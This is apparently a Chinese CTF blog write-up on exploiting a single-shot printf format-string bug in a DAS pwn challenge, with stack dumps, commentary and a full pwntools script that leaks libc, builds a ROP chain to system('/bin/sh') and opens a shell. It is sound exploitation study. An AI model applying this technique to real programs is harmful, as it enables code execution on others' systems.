PWN里printf漏洞感觉很小,可发现居然理解的不全。
一般情况下,当buf不在栈内时,就不能直接写指针。这时候需要用到rbp链或者argv链。一般操作是第一次改指针,第二次改数值。
DAS昨天这里只给了一次机会然后就exit了。今天ckyen给了个WP的链接 一次有趣的格式化字符串漏洞利用 | ZIKH26's Blog
照着这题把昨天那题复现一把。
一般printf的格式是: %88c%9$hhn
前边88c 是输出88 个字符,计数器会变成88,然后**9$**表示偏移,hhn表示写入的格式是1字节.
这里边9$会在printf前边处理完后再写入。如果想用一次输出既写指针又写值就办不到了。而文中的方法使可以直接写。
这个格式是这样的:%88c%hn
这里少了偏移,那么怎么指定偏移呢,就由前边的%个数来确定。比如%p%p%88c就是3,并不管这些%的是用来干啥。
先看下题目原码
cpp
strcpy(s, "Easy Challange");
puts(s);
printf("Gift addr: %lx\n", s);
memset(s, 0, 0x20uLL);
strcpy(s, "Please leave your message: ");
printf("%s", s);
memset(s, 0, 0x20uLL);
read(0, buf, 0x100uLL);
printf(buf); #修改返回地址,执行完printf后返回执行read
_exit(0);
再看下栈的情况,这里在8,10再个位置恰好有两个指针。而rsp的偏移是6,那么可以直接利用偏移7处的指针写偏移49处的值,使它指向-8 也就是 printf函数的返回地址位置。将这个位置修改1字节,使其它返回地址 0x401366改为0x40133f重新回到read+printf。
bash
0x00007fffffffddf0│+0x0000: 0x00000000000000c2 ← $rsp
0x00007fffffffddf8│+0x0008: 0x00007fffffffdf48 → 0x00007fffffffdde8 → 0x40133f
0x00007fffffffde00│+0x0010: 0x00007fffffffdf38 → 0x00007fffffffde10 → pop_rdi,bin_sh,system
0x00007fffffffde08│+0x0018: 0x00000001004013bd
0x00007fffffffde10│+0x0020: 0x0000000000000000
0x00007fffffffde18│+0x0028: 0x0000000000000000
0x00007fffffffde20│+0x0030: 0x0000000000000000
0x00007fffffffde28│+0x0038: 0x0000000000000000
0x00007fffffffde30│+0x0040: 0x00007fffffffdf30 → 0x0000000000000001
0x00007fffffffde38│+0x0048: 0xac1d9c1a370f3f00
0x00007fffffffde40│+0x0050: 0x0000000000000000 ← $rbp
0x00007fffffffde48│+0x0058: 0x00007ffff7df9083 → <__libc_start_main+243> mov edi, eax
所以这个第1个payload构造成这样
python
off2 = (0xdf48 - 0xddf0)//8 + 6
off1 = off2 - 2
pad = 5
pay = '%1c'*5 #利用偏移7的指针,需要前边使用6次%,前5次各输出1字节,也可用%p之类,只是%1c更容易计算输出的长度。
#利用栈里的两个指针(偏移7,8)一个指向printf_ret造循环,一个指向v1写ROP
pay += f"%{(stack-0x28-pad)&0xffff}c%hn" #7:ptr:df48 -> 49:printf_ret:dde8 -> 0x401366
pay += f"%{0x28}c%8$hn" #8 off1:df98->v1 #同时改下偏移8指向ROP位置,后边写ROP用
#第1个指针利用无偏移的%hn修改,然后将printf_ret修改为0x3f重新循环,以后每次执行都利用这个指针修改
pay += f"%{(0x3f - stack)&0xff}c%{off2}$hhn" #将printf_ret 0x66->0x3f 实现循环
pay += f"libc:%17$p," #最后泄露下libc地址
后边都是常规操作,由于n$的偏移会最后写,所以每次修改的下次使用的指针
1,利用这个指针修改printf_ret实现维持循环,
2,利用另一个指针写ROP,
3,修改指向ROP的指针。
最后将 printf_ret改成ppp4跳到ROP执行
python
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn2')
libc = ELF('./libc.so.6') #libc-2.31-0ubuntu9.15
p = process('./pwn2')
gdb.attach(p, "b*0x40133f\nc")
p.recvuntil(b"Gift addr: ")
stack = int(p.recvline(),16)
off2 = (0xdf48 - 0xddf0)//8 + 6
off1 = off2 - 2
pad = 5
pay = '%1c'*5 #len=5
pay += f"%{(stack-0x28-pad)&0xffff}c%hn" #6 rsp 7 ptr:df48 -> printf_ret:dde8
pay += f"%{0x28}c%8$hn" #8 off1:df98->v1
pay += f"%{(0x3f - stack)&0xff}c%{off2}$hhn" #printf_ret 0x66->0x3f
pay += f"libc:%17$p," #泄露libc地址
p.sendafter(b"Please leave your message: ", pay.ljust(0x100-3,'A').encode()+b'END')
p.recvuntil(b'libc:')
libc.address = int(p.recvuntil(b',')[:-1],16) - 243 - libc.sym['__libc_start_main']
p.recvuntil(b'END')
print(f"{libc.address = :x}")
pop_rdi = 0x4013d3
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
#off2->printf_ret
payload = flat(pop_rdi,bin_sh,system)
for i,v in enumerate(payload):
pay = f"%{0x3f}c%{off2}$hhn" #维持循环
if v!=0x3f:
pay += f"%{(v-0x3f)&0xff}c%{off1}$hhn" #pay[i] #写1字节ROP
else:
pay += f"%{off1}$hhn"
pay += f"%{(stack+i+1-v)&0xff}c%8$hhn" #修改下次指针
p.send(pay.ljust(0x100-3,'A').encode()+b'END')
p.recvuntil(b'END')
#将printf_ret改为ppp4,跳过中间过程执行ROP:pop_rdi,bin_sh,system
ppp4 = 0x4013cc
pay = f"%{0xcc}c%{off2}$hhn" #printf_ret->ppp4
p.send(pay.ljust(0x100-3,'A').encode()+b'END')
p.interactive()